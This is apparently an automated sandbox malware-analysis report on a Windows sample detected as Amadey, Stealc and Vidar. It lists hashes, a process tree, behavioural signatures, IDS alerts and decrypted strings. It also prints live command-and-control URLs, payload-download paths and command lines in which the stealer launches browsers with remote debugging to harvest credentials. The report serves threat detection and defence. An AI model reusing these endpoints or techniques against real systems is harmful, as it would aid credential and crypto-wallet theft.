Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1570373
MD5:	2078aba4b222e2f98ba15dd2d129815a
SHA1:	ae20c88e9db1d4ec511d24148a58a180d476aac3
SHA256:	db02e1c041c72eba5685a97d036086cb9f1aada9415057bb25d88ff6a8c02e54
Tags:	exeuser-Bitsight
Infos:

Detection

Amadey, Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Antivirus detection for dropped file

Attempt to bypass Chrome Application-Bound Encryption

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Amadeys stealer DLL

Yara detected Powershell download and execute

Yara detected Stealc

Yara detected Vidar stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Drops PE files to the document folder of the user

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Machine Learning detection for dropped file

Machine Learning detection for sample

Monitors registry run keys for changes

PE file contains section with special chars

Potentially malicious time measurement code found

Sample uses string decryption to hide its real strings

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Entry point lies outside standard sections

Found dropped PE file which has not been started or loaded

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Searches for user specific document files

Sigma detected: Browser Started with Remote Debugging

Sigma detected: Use Short Name Path in Command Line

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 6720 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 2078ABA4B222E2F98BA15DD2D129815A)

chrome.exe (PID: 7472 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="" MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 7704 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2460 --field-trial-handle=2176,i,4764351343650713281,6497553949614997489,262144 /prefetch:8 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

msedge.exe (PID: 6512 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="" MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 6844 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2612 --field-trial-handle=2308,i,12718116921398558821,8893583066330882150,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

cmd.exe (PID: 8052 cmdline: "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\Documents\EBAEBFIIEC.exe" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 7984 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

EBAEBFIIEC.exe (PID: 8028 cmdline: "C:\Users\user\Documents\EBAEBFIIEC.exe" MD5: 52B7DBCCDE53A06FE0163EFA59E1C0E1)

skotes.exe (PID: 7744 cmdline: "C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: 52B7DBCCDE53A06FE0163EFA59E1C0E1)

msedge.exe (PID: 3896 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 1384 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2208 --field-trial-handle=2028,i,7342813088449255443,16590771341194468237,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

skotes.exe (PID: 6468 cmdline: C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 52B7DBCCDE53A06FE0163EFA59E1C0E1)

skotes.exe (PID: 7000 cmdline: C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 52B7DBCCDE53A06FE0163EFA59E1C0E1)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/clickfix-tactic-the-phantom-meet/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.206/c4becf79229cb002.php"}

Threatname: Amadey

{"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000005.00000002.1882889990.0000000000231000.00000040.00000001.01000000.00000004.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000019.00000002.2528327804.00000000008C1000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000017.00000002.1972888927.00000000008C1000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000005.00000002.1886282629.0000000000D2E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000013.00000002.1917955793.0000000000DE1000.00000040.00000001.01000000.0000000B.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000005.00000002.1882889990.00000000002FC000.00000040.00000001.01000000.00000004.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000016.00000002.1965098690.00000000008C1000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
Process Memory Space: file.exe PID: 6720	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: file.exe PID: 6720	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 6720	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 6720	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
decrypted.memstr	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 7 entries

Unpacked PEs

Source	Rule	Description	Author
23.2.skotes.exe.8c0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
25.2.skotes.exe.8c0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
19.2.EBAEBFIIEC.exe.de0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
22.2.skotes.exe.8c0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
5.2.file.exe.230000.0.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
5.2.file.exe.230000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 1 entries

Sigma Signatures

System Summary

Sigma detected: Browser Started with Remote Debugging

Source: Process started

Author: pH-T (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="", CommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="", CommandLine|base64offset|contains: ^", Image: C:\Program Files\Google\Chrome\Application\chrome.exe, NewProcessName: C:\Program Files\Google\Chrome\Application\chrome.exe, OriginalFileName: C:\Program Files\Google\Chrome\Application\chrome.exe, ParentCommandLine: "C:\Users\user\Desktop\file.exe", ParentImage: C:\Users\user\Desktop\file.exe, ParentProcessId: 6720, ParentProcessName: file.exe, ProcessCommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="", ProcessId: 7472, ProcessName: chrome.exe

Sigma detected: Use Short Name Path in Command Line

Source: Process started

Author: frack113, Nasreddine Bencherchali: Data: Command: "C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe" , CommandLine: "C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe" , CommandLine|base64offset|contains: , Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, NewProcessName: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, OriginalFileName: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ParentCommandLine: "C:\Users\user\Documents\EBAEBFIIEC.exe" , ParentImage: C:\Users\user\Documents\EBAEBFIIEC.exe, ParentProcessId: 8028, ParentProcessName: EBAEBFIIEC.exe, ProcessCommandLine: "C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe" , ProcessId: 7744, ProcessName: skotes.exe

Suricata Signatures

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-06T22:08:18.461744+0100	2044245	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.7	49701	TCP

ET MALWARE Win32/Stealc Requesting browsers Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-06T22:08:18.148840+0100	2044244	1	Malware Command and Control Activity Detected	192.168.2.7	49701	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Requesting plugins Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-06T22:08:18.791422+0100	2044246	1	Malware Command and Control Activity Detected	192.168.2.7	49701	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Submitting System Information to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-06T22:08:20.537072+0100	2044248	1	Malware Command and Control Activity Detected	192.168.2.7	49701	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-06T22:08:19.105012+0100	2044247	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.7	49701	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-06T22:08:17.698570+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.7	49701	185.215.113.206	80	TCP

ETPRO MALWARE Amadey CnC Activity M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-06T22:10:17.166772+0100	2856147	1	A Network Trojan was detected	192.168.2.7	49989	185.215.113.43	80	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-06T22:08:22.037499+0100	2803304	3	Unknown Traffic	192.168.2.7	49701	185.215.113.206	80	TCP
2024-12-06T22:08:49.448916+0100	2803304	3	Unknown Traffic	192.168.2.7	49789	185.215.113.206	80	TCP
2024-12-06T22:08:51.384964+0100	2803304	3	Unknown Traffic	192.168.2.7	49789	185.215.113.206	80	TCP
2024-12-06T22:08:52.765474+0100	2803304	3	Unknown Traffic	192.168.2.7	49789	185.215.113.206	80	TCP
2024-12-06T22:08:54.110901+0100	2803304	3	Unknown Traffic	192.168.2.7	49789	185.215.113.206	80	TCP
2024-12-06T22:08:57.667785+0100	2803304	3	Unknown Traffic	192.168.2.7	49789	185.215.113.206	80	TCP
2024-12-06T22:08:58.709197+0100	2803304	3	Unknown Traffic	192.168.2.7	49789	185.215.113.206	80	TCP
2024-12-06T22:09:04.264000+0100	2803304	3	Unknown Traffic	192.168.2.7	49830	185.215.113.16	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://185.215.113.206/68b591d6548ec281/sqlite3.dll6	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.phpsystem32;C:	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/68b591d6548ec281/freebl3.dllN	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/68b591d6548ec281/nss3.dll2	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/4c	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/68b591d6548ec281/mozglue.dll$	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/cc$	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.php.X	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.phpbe549d9ff8f62368f1a7573402b3ult-release	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.phpzXl	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/68b591d6548ec281/msvcp140.dllK	Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\random[1].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen

Found malware configuration

Source: 00000019.00000002.2528327804.00000000008C1000.00000040.00000001.01000000.0000000E.sdmp	Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
Source: 00000005.00000002.1886282629.0000000000D2E000.00000004.00000020.00020000.00000000.sdmp	Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.206/c4becf79229cb002.php"}

Multi AV Scanner detection for submitted file

Source: file.exe

ReversingLabs: Detection: 44%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Joe Sandbox ML: detected
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\random[1].exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 5.2.file.exe.230000.0.unpack	String decryptor: INSERT_KEY_HERE
Source: 5.2.file.exe.230000.0.unpack	String decryptor: 07
Source: 5.2.file.exe.230000.0.unpack	String decryptor: 01
Source: 5.2.file.exe.230000.0.unpack	String decryptor: 20
Source: 5.2.file.exe.230000.0.unpack	String decryptor: 25
Source: 5.2.file.exe.230000.0.unpack	String decryptor: GetProcAddress
Source: 5.2.file.exe.230000.0.unpack	String decryptor: LoadLibraryA
Source: 5.2.file.exe.230000.0.unpack	String decryptor: lstrcatA
Source: 5.2.file.exe.230000.0.unpack	String decryptor: OpenEventA
Source: 5.2.file.exe.230000.0.unpack	String decryptor: CreateEventA
Source: 5.2.file.exe.230000.0.unpack	String decryptor: CloseHandle
Source: 5.2.file.exe.230000.0.unpack	String decryptor: Sleep
Source: 5.2.file.exe.230000.0.unpack	String decryptor: GetUserDefaultLangID
Source: 5.2.file.exe.230000.0.unpack	String decryptor: VirtualAllocExNuma
Source: 5.2.file.exe.230000.0.unpack	String decryptor: VirtualFree
Source: 5.2.file.exe.230000.0.unpack	String decryptor: GetSystemInfo
Source: 5.2.file.exe.230000.0.unpack	String decryptor: VirtualAlloc
Source: 5.2.file.exe.230000.0.unpack	String decryptor: HeapAlloc
Source: 5.2.file.exe.230000.0.unpack	String decryptor: GetComputerNameA
Source: 5.2.file.exe.230000.0.unpack	String decryptor: lstrcpyA
Source: 5.2.file.exe.230000.0.unpack	String decryptor: GetProcessHeap
Source: 5.2.file.exe.230000.0.unpack	String decryptor: GetCurrentProcess
Source: 5.2.file.exe.230000.0.unpack	String decryptor: lstrlenA
Source: 5.2.file.exe.230000.0.unpack	String decryptor: ExitProcess
Source: 5.2.file.exe.230000.0.unpack	String decryptor: GlobalMemoryStatusEx
Source: 5.2.file.exe.230000.0.unpack	String decryptor: GetSystemTime
Source: 5.2.file.exe.230000.0.unpack	String decryptor: SystemTimeToFileTime
Source: 5.2.file.exe.230000.0.unpack	String decryptor: advapi32.dll
Source: 5.2.file.exe.230000.0.unpack	String decryptor: gdi32.dll
Source: 5.2.file.exe.230000.0.unpack	String decryptor: user32.dll
Source: 5.2.file.exe.230000.0.unpack	String decryptor: crypt32.dll
Source: 5.2.file.exe.230000.0.unpack	String decryptor: GetUserNameA
Source: 5.2.file.exe.230000.0.unpack	String decryptor: CreateDCA
Source: 5.2.file.exe.230000.0.unpack	String decryptor: GetDeviceCaps
Source: 5.2.file.exe.230000.0.unpack	String decryptor: ReleaseDC
Source: 5.2.file.exe.230000.0.unpack	String decryptor: CryptStringToBinaryA
Source: 5.2.file.exe.230000.0.unpack	String decryptor: sscanf
Source: 5.2.file.exe.230000.0.unpack	String decryptor: VMwareVMware
Source: 5.2.file.exe.230000.0.unpack	String decryptor: HAL9TH
Source: 5.2.file.exe.230000.0.unpack	String decryptor: JohnDoe
Source: 5.2.file.exe.230000.0.unpack	String decryptor: DISPLAY
Source: 5.2.file.exe.230000.0.unpack	String decryptor: %hu/%hu/%hu
Source: 5.2.file.exe.230000.0.unpack	String decryptor: http://185.215.113.206
Source: 5.2.file.exe.230000.0.unpack	String decryptor: /c4becf79229cb002.php
Source: 5.2.file.exe.230000.0.unpack	String decryptor: /68b591d6548ec281/
Source: 5.2.file.exe.230000.0.unpack	String decryptor: drum
Source: 5.2.file.exe.230000.0.unpack	String decryptor: GetEnvironmentVariableA
Source: 5.2.file.exe.230000.0.unpack	String decryptor: GetFileAttributesA
Source: 5.2.file.exe.230000.0.unpack	String decryptor: HeapFree
Source: 5.2.file.exe.230000.0.unpack	String decryptor: GetFileSize
Source: 5.2.file.exe.230000.0.unpack	String decryptor: GlobalSize
Source: 5.2.file.exe.230000.0.unpack	String decryptor: CreateToolhelp32Snapshot
Source: 5.2.file.exe.230000.0.unpack	String decryptor: IsWow64Process
Source: 5.2.file.exe.230000.0.unpack	String decryptor: Process32Next
Source: 5.2.file.exe.230000.0.unpack	String decryptor: GetLocalTime
Source: 5.2.file.exe.230000.0.unpack	String decryptor: FreeLibrary
Source: 5.2.file.exe.230000.0.unpack	String decryptor: GetTimeZoneInformation
Source: 5.2.file.exe.230000.0.unpack	String decryptor: GetSystemPowerStatus
Source: 5.2.file.exe.230000.0.unpack	String decryptor: GetVolumeInformationA
Source: 5.2.file.exe.230000.0.unpack	String decryptor: GetWindowsDirectoryA
Source: 5.2.file.exe.230000.0.unpack	String decryptor: Process32First
Source: 5.2.file.exe.230000.0.unpack	String decryptor: GetLocaleInfoA
Source: 5.2.file.exe.230000.0.unpack	String decryptor: GetUserDefaultLocaleName
Source: 5.2.file.exe.230000.0.unpack	String decryptor: GetModuleFileNameA
Source: 5.2.file.exe.230000.0.unpack	String decryptor: DeleteFileA
Source: 5.2.file.exe.230000.0.unpack	String decryptor: FindNextFileA
Source: 5.2.file.exe.230000.0.unpack	String decryptor: LocalFree
Source: 5.2.file.exe.230000.0.unpack	String decryptor: FindClose
Source: 5.2.file.exe.230000.0.unpack	String decryptor: SetEnvironmentVariableA
Source: 5.2.file.exe.230000.0.unpack	String decryptor: LocalAlloc
Source: 5.2.file.exe.230000.0.unpack	String decryptor: GetFileSizeEx
Source: 5.2.file.exe.230000.0.unpack	String decryptor: ReadFile
Source: 5.2.file.exe.230000.0.unpack	String decryptor: SetFilePointer
Source: 5.2.file.exe.230000.0.unpack	String decryptor: WriteFile
Source: 5.2.file.exe.230000.0.unpack	String decryptor: CreateFileA
Source: 5.2.file.exe.230000.0.unpack	String decryptor: FindFirstFileA
Source: 5.2.file.exe.230000.0.unpack	String decryptor: CopyFileA
Source: 5.2.file.exe.230000.0.unpack	String decryptor: VirtualProtect
Source: 5.2.file.exe.230000.0.unpack	String decryptor: GetLogicalProcessorInformationEx
Source: 5.2.file.exe.230000.0.unpack	String decryptor: GetLastError
Source: 5.2.file.exe.230000.0.unpack	String decryptor: lstrcpynA
Source: 5.2.file.exe.230000.0.unpack	String decryptor: MultiByteToWideChar
Source: 5.2.file.exe.230000.0.unpack	String decryptor: GlobalFree
Source: 5.2.file.exe.230000.0.unpack	String decryptor: WideCharToMultiByte
Source: 5.2.file.exe.230000.0.unpack	String decryptor: GlobalAlloc
Source: 5.2.file.exe.230000.0.unpack	String decryptor: OpenProcess
Source: 5.2.file.exe.230000.0.unpack	String decryptor: TerminateProcess
Source: 5.2.file.exe.230000.0.unpack	String decryptor: GetCurrentProcessId
Source: 5.2.file.exe.230000.0.unpack	String decryptor: gdiplus.dll
Source: 5.2.file.exe.230000.0.unpack	String decryptor: ole32.dll
Source: 5.2.file.exe.230000.0.unpack	String decryptor: bcrypt.dll
Source: 5.2.file.exe.230000.0.unpack	String decryptor: wininet.dll
Source: 5.2.file.exe.230000.0.unpack	String decryptor: shlwapi.dll
Source: 5.2.file.exe.230000.0.unpack	String decryptor: shell32.dll
Source: 5.2.file.exe.230000.0.unpack	String decryptor: rstrtmgr.dll
Source: 5.2.file.exe.230000.0.unpack	String decryptor: CreateCompatibleBitmap
Source: 5.2.file.exe.230000.0.unpack	String decryptor: SelectObject
Source: 5.2.file.exe.230000.0.unpack	String decryptor: BitBlt
Source: 5.2.file.exe.230000.0.unpack	String decryptor: DeleteObject
Source: 5.2.file.exe.230000.0.unpack	String decryptor: CreateCompatibleDC
Source: 5.2.file.exe.230000.0.unpack	String decryptor: GdipGetImageEncodersSize
Source: 5.2.file.exe.230000.0.unpack	String decryptor: GdipGetImageEncoders
Source: 5.2.file.exe.230000.0.unpack	String decryptor: GdipCreateBitmapFromHBITMAP
Source: 5.2.file.exe.230000.0.unpack	String decryptor: GdiplusStartup
Source: 5.2.file.exe.230000.0.unpack	String decryptor: GdiplusShutdown
Source: 5.2.file.exe.230000.0.unpack	String decryptor: GdipSaveImageToStream
Source: 5.2.file.exe.230000.0.unpack	String decryptor: GdipDisposeImage
Source: 5.2.file.exe.230000.0.unpack	String decryptor: GdipFree
Source: 5.2.file.exe.230000.0.unpack	String decryptor: GetHGlobalFromStream
Source: 5.2.file.exe.230000.0.unpack	String decryptor: CreateStreamOnHGlobal
Source: 5.2.file.exe.230000.0.unpack	String decryptor: CoUninitialize
Source: 5.2.file.exe.230000.0.unpack	String decryptor: CoInitialize
Source: 5.2.file.exe.230000.0.unpack	String decryptor: CoCreateInstance
Source: 5.2.file.exe.230000.0.unpack	String decryptor: BCryptGenerateSymmetricKey
Source: 5.2.file.exe.230000.0.unpack	String decryptor: BCryptCloseAlgorithmProvider
Source: 5.2.file.exe.230000.0.unpack	String decryptor: BCryptDecrypt
Source: 5.2.file.exe.230000.0.unpack	String decryptor: BCryptSetProperty
Source: 5.2.file.exe.230000.0.unpack	String decryptor: BCryptDestroyKey
Source: 5.2.file.exe.230000.0.unpack	String decryptor: BCryptOpenAlgorithmProvider
Source: 5.2.file.exe.230000.0.unpack	String decryptor: GetWindowRect
Source: 5.2.file.exe.230000.0.unpack	String decryptor: GetDesktopWindow
Source: 5.2.file.exe.230000.0.unpack	String decryptor: GetDC
Source: 5.2.file.exe.230000.0.unpack	String decryptor: CloseWindow
Source: 5.2.file.exe.230000.0.unpack	String decryptor: wsprintfA
Source: 5.2.file.exe.230000.0.unpack	String decryptor: EnumDisplayDevicesA
Source: 5.2.file.exe.230000.0.unpack	String decryptor: GetKeyboardLayoutList
Source: 5.2.file.exe.230000.0.unpack	String decryptor: CharToOemW
Source: 5.2.file.exe.230000.0.unpack	String decryptor: wsprintfW
Source: 5.2.file.exe.230000.0.unpack	String decryptor: RegQueryValueExA
Source: 5.2.file.exe.230000.0.unpack	String decryptor: RegEnumKeyExA
Source: 5.2.file.exe.230000.0.unpack	String decryptor: RegOpenKeyExA
Source: 5.2.file.exe.230000.0.unpack	String decryptor: RegCloseKey
Source: 5.2.file.exe.230000.0.unpack	String decryptor: RegEnumValueA
Source: 5.2.file.exe.230000.0.unpack	String decryptor: CryptBinaryToStringA
Source: 5.2.file.exe.230000.0.unpack	String decryptor: CryptUnprotectData
Source: 5.2.file.exe.230000.0.unpack	String decryptor: SHGetFolderPathA
Source: 5.2.file.exe.230000.0.unpack	String decryptor: ShellExecuteExA
Source: 5.2.file.exe.230000.0.unpack	String decryptor: InternetOpenUrlA
Source: 5.2.file.exe.230000.0.unpack	String decryptor: InternetConnectA
Source: 5.2.file.exe.230000.0.unpack	String decryptor: InternetCloseHandle
Source: 5.2.file.exe.230000.0.unpack	String decryptor: HttpSendRequestA
Source: 5.2.file.exe.230000.0.unpack	String decryptor: HttpOpenRequestA
Source: 5.2.file.exe.230000.0.unpack	String decryptor: InternetReadFile
Source: 5.2.file.exe.230000.0.unpack	String decryptor: InternetCrackUrlA
Source: 5.2.file.exe.230000.0.unpack	String decryptor: StrCmpCA
Source: 5.2.file.exe.230000.0.unpack	String decryptor: StrStrA
Source: 5.2.file.exe.230000.0.unpack	String decryptor: StrCmpCW
Source: 5.2.file.exe.230000.0.unpack	String decryptor: PathMatchSpecA
Source: 5.2.file.exe.230000.0.unpack	String decryptor: GetModuleFileNameExA
Source: 5.2.file.exe.230000.0.unpack	String decryptor: RmStartSession
